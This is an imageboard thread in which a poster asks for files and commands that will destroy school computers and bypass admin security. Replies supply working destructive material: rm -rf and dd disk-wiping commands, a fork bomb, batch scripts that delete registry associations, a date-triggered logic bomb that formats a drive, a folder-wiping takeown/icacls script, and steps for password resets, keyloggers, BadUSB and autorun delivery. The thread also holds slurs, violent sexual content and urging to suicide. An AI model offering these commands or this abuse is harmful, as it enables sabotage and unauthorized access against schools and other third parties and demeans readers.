Anybody have any files or comand codes that will fuck up a computer?

>>744892910

>I'm underageb& and I can't use 4chan on my school computer, how do I show my whole school how autistic I am?

kys

>>744892910
make an empty file called faggot.bat then jump out a high window, works great.

>>744892910
IT Guy here:

Just smash the hard drive if you want to fuck things up. Or run a Live cd and format your boot partition.

>>744892910
Magnets

sudo rm -rf /

>>744893526
I Linux user wouldn't ask stupid questions like this.

>>744893704
a*

>>744892910
yeah dude heres some sick things u can do to ur schools computers!

step 1: make a bat file
step 2: shove it up your ass

>>744893030
Im 22 and my collage dean hit my dog with his car

cd /home
pwd
rm -rf * /no recycle

>>744892910
Just pour water on the computer anon.

find bat
tape bat to memory stick
congrats you have .bat file

>>744894373
Punishment doesnt fit the crime. Hit his car with your dead dog.

>>744894676
Youre really not helping man

>>744894440
Elaborate

>>744894619
that is so fucking wrong
get a file not a memory stick
you need to convert the bat to hinduism first
that way you have a dot bat file

>>744894373
>make kali boot drive
>chntpw on admin user
>reboot back to win
>login as admin
>install keylogger
>give social media creds to 4chan

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>>744894676
I kek'd entirely too hard at this

>>744894861
this kills the os

Delete system 32

>>744892910
use your preferred search engine to find out about USB Killer

>>744894993
No it doesn't
>go to home direcotry
>tell me what directory i am
> erase everything in directory that doesn't exist.

>>744895066
All they have to do is send a tech guy to reinstall...

>>744892910
Ignore these fourchan faggots

:(){ :|:& };:

>>744892910
I do

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>>744895316

Here is how to make a bat file:
1: Enter your local cave.
2: Find a bat.
3: Decapitate it in the name of Allah.
4: Stash the head(THIS IS IMPORTANT FOR LATER, SCREWING THIS UP WILL RESULT IN YOUR MOTHER DYING IN HER SLEEP).
5:Remove the flesh from the cadaver's head(leftover flesh can be used for stew).
6: Skull fuck the bat(don't clean your 'nickelodeon goo' off the skull).
7: Enter your elementary school's premises(I'm assuming this is the location you were speaking of).
8: Find a computer that is shut down.
9: Start the computer, and enter bios.
10:Select "133t h@x0r mode", and enter "skullfucked bat head" with the keyboard.
11: The computer should be creating a "bat-ch file" at this point, giving you full credentials.
12: In order to obtain the 'bat-ch file', you must sacrifice an innocent soul(best option is to find any little girl you see)
13: Before sacrificing, make sure your 'victim' is fully nude(RESIST THE TEMPTATION, DEUS VULT!)
14: After selling your victim's soul, you shall receive a payment of five shekels.
15: Dispense your shekels into the computer screen(make sure (((they))) don't try and steal it)
16: CONGRATULATIONS, YOU HAVE FULL ADMINISTRATIVE ACCESS OVER THE SCHOOL'S COMPUTER NETWORK!

>>744895327
This

>>744894801
Talk to me, faggot

You guys did alright but im just gonna steal the ram

>>744895501
Talk to me you triplenigger

>>744895550
5555

>>744895398
dubs

>>744893704
>sudo rm -rf / is only for linux

What the fuck do you want to do to their computer, skid?

>>744895501
But he just can download more

>>744895550
Ok

I don't have all day

if you have money and dont bother spending it, i recomend buying a killer usb, works on everything with a usb port and fries everytihgn inside (unless it has some short of protection, and if thats the case, ill will frie the usb port you put i in). If you dont wanna buy one, you can make one, there are videos out there. If not, you can boot trho a live usb with another os and whip the data from the hard drive, if the bios has passsword and boot order is hard drive first, you can kys, or find a screwdriver, remove the hard drive or the ram and hammer smach them, idk, whatever make you happy. Not sure but i thing windows 7 you can delete the boot file without admin, let me search some commands i might have

>>744895685
Tell me exactly what you want done

>>744895501
For real tho
>make linux live boot drive
>turn of comp
>boot to linux drive
>open term
>sudo fdisk -L
>find device name for his windows install (/dev/sda) probably
>sudo rm -rf /media

>>744892910
>>744894373

>get one of these https://www.amazon.com/ThinkGeek-Phantom-Keystroker-V2/dp/B002YJW7C4
>install it on your own computer
>take off all of your clothes
>shit into your hand
>jump out your closed window
>find the nearest pedestrian and shake the blood and glass off of yourself like a dog and scream "THE QUICKEST WAY TO A MAN'S HEART IS THROUGH THE ANUS" 3 times
>eat the poo in your hand
>get in your car
>drive over to your dean's house
>jump through his closed window
>find his wife
>latch onto her like the grabby skeleton thing from ocarina of time
>scream "ARE YOU FEELING IT NOW MR KRABS" 5 times
>get erect
>flip yourself upside-down on her and penetrate her ear
>force your dick in as hard as you can until you break the skull
>climax
>find his dog, grab it by the legs
>run (don't drive) to the school and find your dean
>beat him to death with his dog
>lick your poo remnants one last time before the police taze you to death

Reverse Shell?
Virus?
Drive Wiping?
Admin User access?

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fucked. Have a nice day.
GOTO MESSAGE

Save as virus.bat or whatever

>>744892910
System 32

>>744892910
Get some fine metal shavings or grindings.
Turn OFF PC, sprinkle inside case via Fan vents.

Wait.

If %date% NEQ 2025/11/25 goto exit
format E: /y >nul
:exit
exit

Change detonation date to whatever you want.

Logic Bomb/Time Bomb

Save as anything.bat

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okay, long time no bath programming, but i think this tinny thing works, i didnt test it so it might have some code bugs. this is the code:

title OP is a faggot
set /p fn= path:
if EXIST "%fn%" goto diy
echo path corrupt
exit
diy:
takeown /F "%fn%" /R /A
icacls "%fn%" /reset /t
icacls "%fn%" /grant Administrator:d
cacls "%fn%" /e /c /g %username%:f
attrib -s -h -r "%fn%""
cd "%fn%"
attrib -r -s -h /S /D
del *.* /s /q
cd ..
rd "%fn%" /s /q

basicly just put the path and it should delete the folder and contents, use it on system folder or whatever, still ur a kid OP

>>744895615
da fuq is wrong with you?

>>744896329
mynamejeff

>>744892910
just go to the seafood section of your local grocery store.
buy 2$ with of the "fish guts"
throw them in pc case
know your dog smells better than this pc

>>744896543
on windows?

>>744896426
prolly like my brother jeff

who spells it 'jeffery'

>>744896604
Yes

>>744895751
I WANT REVENGE. I WANT BLOOD

>>744896699
What happened

>>744896743
dean of my collage hit my car with his dog

>>744896852
College Name

usb kill
>google it

>>744896695
what tool are you using to create the admin account in kali? whats the name

>>744896879
RISDI

>>744896957
>Tool

lolwut

The Pro Micro is a badusb.

I plug it up and it does the admin user creation.

>>744896963
Providence?

>>744897083
yep. why?

>>744897132
Found the dean

>>744896543
can you repost the pic please

>>744897022
oh so you bought it, i was hoping you programmed it, nvm my question then

>>744897177
okay? he nd asshole fuck him he hit my car

>>744895779
This is the type of shit I came here for.
I'm fucking dying.

>>744897226
I bought the Micro and programmed it through the Arduino IDE

>>744897228
Do you want PETA to know?

>>744896056
Put it in the startup folder.

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>>744897181

>>744897336
smh, dude if you programmed it, you know how it works inside. What tool or tools from the kali tools are you using to create the admin user in a windows machine?

Just to be clear, I am not raiding anyone

>>744897375
yeah I mean I wouldn't be opposed to it. why are you asking me this stuff?

But PETA should know that, just saying

>>744897421
thanks dad

>>744897447
It does not use a tool.

It is Arduino code.

>>744897447
It types a set of CMD strings

>>744897508
Teach us your ways

>>744897508
what the fuck, dude what kind of alien technology it that then? are you saying that arduino alone, no tools no nothing just happens to creates admin account of a windows machine?

>>744892910
Bootable usb stick with linux, then execute:
dd if=/dev/urandom of=/dev/sda
then go into bios and set all passwords you can find.

>>744897549
ohhhh, well that makes more sence, still, how does it get the admin permition to run admin cmd commands?

>>744892910
@echo off

del C:\Windows\system32

>>744897676
This is the most accurate answer

>>744897461
Can you stop being a fag people can see when youre not the op

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>>744897581
Deauther (Beacon Spam)

>>744897627
You have to know two things

Arduino Boards can act as an HID and especially a keyboard.

#2. CMD lines to create a new admin user and registry edit strings.

>>744892910
>Anybody have any files or comand codes that will fuck up a computer? Bonus points if it can bypass admin security.
all you have to do is get a bios flash program and unplug the usb in the middle of the bios flash. the computer will be completely bricked

>>744897706
I'll show you.

>>744897865
what are you talking about?

>>744897874
what's this supposed to be?

>>744897874
Thanks, anon. I'm checking that and the rest of the toolkit out now. :)

>>744892910

Are you retarded?

>>744897888
If it's a half decent computer it'll have a backup flash on a separate chip on the mb

>>744895814
Admin access. I can handle it from there, all i need is to log in as admin.

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>>744897892
ok

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>>744898209

>>744895398
> so much effort
> such weak result

>>744897990
Fake APs that I can make say whatever I want.

Did this as a prank test.

>>744895618
Not him, but I thought it was. The Linux version of Del.Sys.32.

>>744898402
tf, you can change the system registry without admin permition? this actually works without admin permisions? what the actuall fuck?

>>744895932
Would this work? Could you launch it automatically from a usb drive, or would the file have to be copied over and opened?

>>744898511
fuggin script. kiddy

>>744898816
Yeah, you are one.

I never said I made that deauther myself.

>>744898816
It is a Github project by spacehuhn and I keep a deauther in my kit.

>>744895208

anything you do can be repaired or replaced. duh

>>744898960
Shaddup nigga

>>744898805
Both.

You'd need an autorun.inf script on the USB

holy fuck i think i found a way to fck windows without admin protection with c++, holy fuck, yo imma program this, if it works ill post it in a thread for you guys to download.

>>744892910
delete System32, fucking faggot

>>744898781
Yes

>>744899061
sure thing shitdick

>>744899154
Sweet and sour Jesus.

Thank you for the info, time to fuck shit up!

>>744899154
wich windows? xp? lmao this seems to good to believe, it cant work in all the versions, can it?

>>744895671
Kek'd.

> Suck teachers dick.

> Let teacher cum on face.

> Try anal with teacher.

> Wind up teachers bitch getting fisted and gang banged by entire science wing.

> Start learning physics during anal roto-rooting sessions

> Invent time machine

> Let engineering wing ravage your asshole

> Learn to build said time machine

> go back in time to the moment of your own conception to kick dad in the balls so maybe you'll grown your own in time

> stand awkwardly in corner bc you're too pussy to stand up to anyone

> realize your whore mom earned more the night you were conceived than you ever will

> masturbate to mom getting plowed

> pussy out at hanging yourself

> get friendzoned by mom and wind up raising yourself bc your bastard dad skipped out

>>744899179
not joking, you dont know the things im thinking

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>>744892910
just reverse the polarity

>>744893417
how do they work

>>744899355
yes I do

>>744899032
Ok. Thanks anon.

Don't suppose anyone's got one?

>>744899463
yeah i do hold on lemme get it from the other room

>>744899463
Make one. It is easy. Like the autohack password hash stealing USBs for Windows. Same thing.

>>744899453
what am i thinking then

>>744899572
you're thinking about how bad you wanna puff your dad's Peter

>>744899302

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>>744899613
kekimus maximus

>>744899653
I had my name in it, realized that was dumb, changed it, screencapped, closed without saving

>>744899653
HOLY SHIT

>>744899525
I'll look in to it, thanks anon. Never done anything like it before, but you have to start somewhere, right?

>>744899653
Repost what is it?

https://usbkill.com/
Simply plug it in and the entire computer bricks. Pretty sure it fries the mobo, SSD,and CPU.

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>>744899500

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>>744899653
interesting, well ill have to test for myself, but that looks fun and weird it works....

>>744892910
Which OS and which version?

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>>744899965

>>744899906
I haven't added the port and listener yet.

It enables RDP, gives you admin and edits the registry.

Shared it before with a guy.

>>744900075
>>744900114
Fuckin fuck out of here

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>>744900179

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>>744894893
>give social media creds to 4chan
>give social media creds
>to 4chan
>social media creds
>give
>4chan

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>>744899864

>>744900770
Autorun.inf same principle

Put virus.bat and autorun.inf on your drive.

Code autorun.inf to run the virus.bat

Plug in the drive on a Windows system.

>>744900770
Thanks anon.

>>744900928
haxor

>>744901325
OP, do you know these guys?

>>744892910
sudo rm -rf * / --no-persist-root

>>744901386
I'm not OP.

>>744901386
No

>>744901723
Who was he?

>>744901984
First name

OP here, the dean fucked my dog after the bones of my dog's body crackled under the tires & they are currently running a train station on my pupper

>>744902329
Fuck off, asshole

>>744892910
>comand codes

lol

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>>744902329
>a train station
>on my pupper

No one here knows OP. You're ten years to late to the shit show. All these faggots replying are le too edgy for you redditors . I'll give you a hint tho. If you search for it you will find it

>>744903291
Nigger, fuck off.

You probably became a botnet's bitch trying to download a desktop stripper.

Can you fags give up on the dean and my dog and focus on the question i asked

>>744892910
MAGNETS HOW DO THEY EVEN FUCKING WORK?????!?!

Can bypass surgery windows login screen, but, I've no use for that anymore. Sad

are you doing something illegal

>>744904006
All*

>>744904032
Not to the dean no

>>744895989
Oh, that's evil.

>>744904171
Who is he

>>744904336
Is he a Provost?

Don't tell me

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>>744894676
This OP. I study law

>>744904514
Care to gib advice

>>744894440
Why would you change directory into home and then print the directory
The /no recycle part of your command also makes no sense you noob